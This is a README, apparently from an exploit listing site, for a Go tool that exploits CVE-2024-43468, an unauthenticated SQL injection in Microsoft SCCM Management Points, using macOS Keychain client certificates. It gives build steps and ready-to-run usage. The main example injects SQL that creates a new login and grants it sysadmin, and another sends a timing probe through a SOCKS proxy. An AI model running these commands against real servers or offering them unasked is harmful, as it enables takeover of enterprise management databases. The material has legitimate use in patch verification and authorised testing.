Share
## https://sploitus.com/exploit?id=316931F8-DD21-5467-BF56-F39DF770EE12
# CVE-2024-43468 SCCM SQL Injection Exploit (mTLS client certs from MacOS keychain version)

Go implementation of [CVE-2024-43468](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43468) exploit that uses macOS Keychain for mTLS authentication (without need to export keys from keychain). 

Additionally: 
- Added proxy support to not use problematic proxychains.
- Added get_cert_name.py to get certificate Common Name (yes, you can do it from Keychain Access GUI manually)
- Added a lot of debugging to see what's going on

Based on:
- [original Python exploit](https://github.com/synacktiv/CVE-2024-43468)
- [mTLS Go Client example](https://github.com/getvictor/mtls/tree/master/mtls-go-apple-keychain)

## Description

Exploits unauthenticated SQL injections in Microsoft Configuration Manager (ConfigMgr / SCCM) that allows an attacker with network access to a Management Point to execute arbitrary SQL queries on the site database.

Vulnerable versions:
- < 2403 (5.00.9128.1024)
- < 2309 (5.00.9122.1033)
- < 2303 (5.00.9106.1037)
- <= 2211

## Installation

```bash
# Clone repository
git clone https://github.com/nikallass/CVE-2024-43468_mTLS_go
cd CVE-2024-43468_mTLS_go

# Install dependencies
go get github.com/google/uuid
go get golang.org/x/net/proxy

# Build
go build -o sccm
```

## Usage

```bash
# Show help
./sccm -h

# Basic usage (creating new admin)
./sccm -t https://sccm-mp.local \
       -sql "create login user123 with password = 'Password123'; exec master.dbo.sp_addsrvrolemember 'user123', 'sysadmin'" \
       -cn "CertificateCommonName"

# With custom proxy (check with sleep 5)
./sccm -t https://sccm-mp.local \
       -sql "WAITFOR DELAY '0:0:5'" \
       -cn "CertificateCommonName" \
       -proxy "127.0.0.1:9050"
```

### Parameters

- `-t` : Target URL (required)
- `-sql` : SQL query to execute (required)
- `-cn` : Certificate Common Name in macOS Keychain (required)
- `-proxy` : SOCKS5 proxy address (default: empty)

## Requirements

- macOS (for Keychain integration)
- Go 1.16+
- Client certificate in macOS Keychain
- optional: SOCKS5 proxy

## References

- [Microsoft Advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43468)
- [Synacktiv Advisory](https://www.synacktiv.com/advisories/microsoft-configuration-manager-configmgr-2403-unauthenticated-sql-injections)
- [mTLS Go Client example](https://github.com/getvictor/mtls/tree/master/mtls-go-apple-keychain)